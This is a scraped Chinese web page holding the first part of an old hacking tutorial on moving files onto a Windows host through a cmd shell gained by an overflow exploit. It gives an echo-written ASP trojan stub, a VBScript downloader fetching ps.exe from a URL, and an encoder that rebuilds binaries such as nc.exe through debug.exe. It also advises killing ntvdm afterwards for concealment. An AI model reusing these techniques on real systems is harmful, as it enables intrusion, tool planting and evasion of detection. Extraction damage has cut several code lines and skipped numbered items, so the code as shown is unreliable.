佳木斯湛栽影视文化发展公司

主頁 > 知識庫 > Do All in Cmd Shell一切在命令行下完成第1/6頁

Do All in Cmd Shell一切在命令行下完成第1/6頁

熱門標簽:網(wǎng)站文章發(fā)布 檢查注冊表項 鐵路電話系統(tǒng) 服務器配置 呼叫中心市場需求 銀行業(yè)務 智能手機 美圖手機
文件傳輸
對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強了對ipc$的保護,通過ipc$及默認共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結我再提一下:

1,用Echo命令寫ASP木馬。
前提當然是目標主機上已經(jīng)安裝了IIS。
一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個小巧的。
直接給出echo版:

@echo ^ >up.asp

注意,只有一行,中間沒有回車符。
生成的up.asp不能用瀏覽器訪問,只能用下面這個腳本:

with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

舉例——下載ps.exe并保存到c:\path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意,這是在遠程shell中執(zhí)行的。

4,Echo經(jīng)過編碼的任何文件,再用腳本+debug還原。
前面兩個辦法都不能保證穿過防火墻。而且,除非自己架Web服務器,一般的Web資源都是以壓縮文件的形式提供。如果目標主機沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!

echo命令加重定向x作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠程主機。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位x作,因此編碼和解碼較復雜。更麻煩的是,腳本以二進制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構造出相應的數(shù)據(jù)類型。二進制數(shù)據(jù)流可以用midb函數(shù)轉成字符串,但反過來不行。我花了兩天時間,還是沒能解決這個問題。如果有誰能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請賜教。)

無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果——編碼腳本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbscscript //nologo debug.vbs|debug.exe>nulren debug.tmp """fn"""del debug.vbs"
end with

將其保存為echo.vbs。假設要上傳nc.exe,那么在本地命令行輸入命令:

cscript echo.vbs nc.exe

也可以直接把要傳輸?shù)奈募膱D標拖放到腳本文件的圖標上。
稍等一會兒,在當前目錄下將生成一個nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內容:

@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbscscript //nologo debug.vbs|debug.exe>nulren debug.tmp "NC.EXE"del debug.vbs

全選 -》 復制 -》 切換到遠程命令行窗口 -》 粘貼。
如果網(wǎng)速不是很慢的話,整個上傳過程大約需要20秒。

幾點說明:
1,大的文件傳輸不穩(wěn)定,可能會使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
2,在傳輸大文件前,可以先傳個小的文件作為"熱身",讓16位虛擬機ntvdm.exe駐留后臺。所有文件傳完后,為隱蔽起見,應該把ntvdm進程殺掉。
3,某些cmd shell每個命令都需要附加兩個回車,那nc.exe.bat就不能直接用了。
4,單個命令的長度是有限的,所以不能只用一個echo完成全部任務。而且,對于nc提供的cmd shell,稍長一些的命令竟然會使shell自動退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調整每個echo命令的長度。每次echo的字符為這個數(shù)乘以2。
5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因為壓縮了數(shù)據(jù))。如果有時間,我會寫一個更完善的腳本,加強數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗功能。

能上傳文件當然一切都好辦了,但很多x作用Windows自帶的工具更方便。在你到處尋找需要的工具時,不要忘了Windows本身。
123456下一頁閱讀全文
您可能感興趣的文章:
  • 在Shell命令行處理JSON數(shù)據(jù)的方法
  • shell學習教程獲取命令行參數(shù)示例
  • 神奇的shell命令行輸入與輸出功能介紹
  • Linux命令行和shell腳本編程寶典 Richard Blum
  • PHP 命令行工具 shell_exec, exec, passthru, system詳細使用介紹
  • 命令行下一種新的添加帳號的方法(Shell.Users)
  • 利用WScript.Shell對象隱藏cmd命令行運行框的實現(xiàn)代碼
  • 關閉網(wǎng)站的wscript.shell命令行執(zhí)行
  • 利用shell編程實現(xiàn)DOS風格的Linux命令行
  • shell獲取命令行參數(shù)示例分享

標簽:紅河 長治 上海 樂山 新疆 滄州 河南 沈陽

巨人網(wǎng)絡通訊聲明:本文標題《Do All in Cmd Shell一切在命令行下完成第1/6頁》,本文關鍵詞  ;如發(fā)現(xiàn)本文內容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    焉耆| 临沂市| 呼伦贝尔市| 广元市| 越西县| 永泰县| 潞城市| 富顺县| 鸡泽县| 左贡县| 赤城县| 潍坊市| 文化| 吉首市| 海城市| 马鞍山市| 南澳县| 德江县| 平远县| 华亭县| 青河县| 北宁市| 常熟市| 长子县| 达日县| 三原县| 巫溪县| 边坝县| 西乌珠穆沁旗| 汝州市| 平阳县| 南京市| 水富县| 静安区| 万源市| 吐鲁番市| 天等县| 华坪县| 师宗县| 榕江县| 公安县|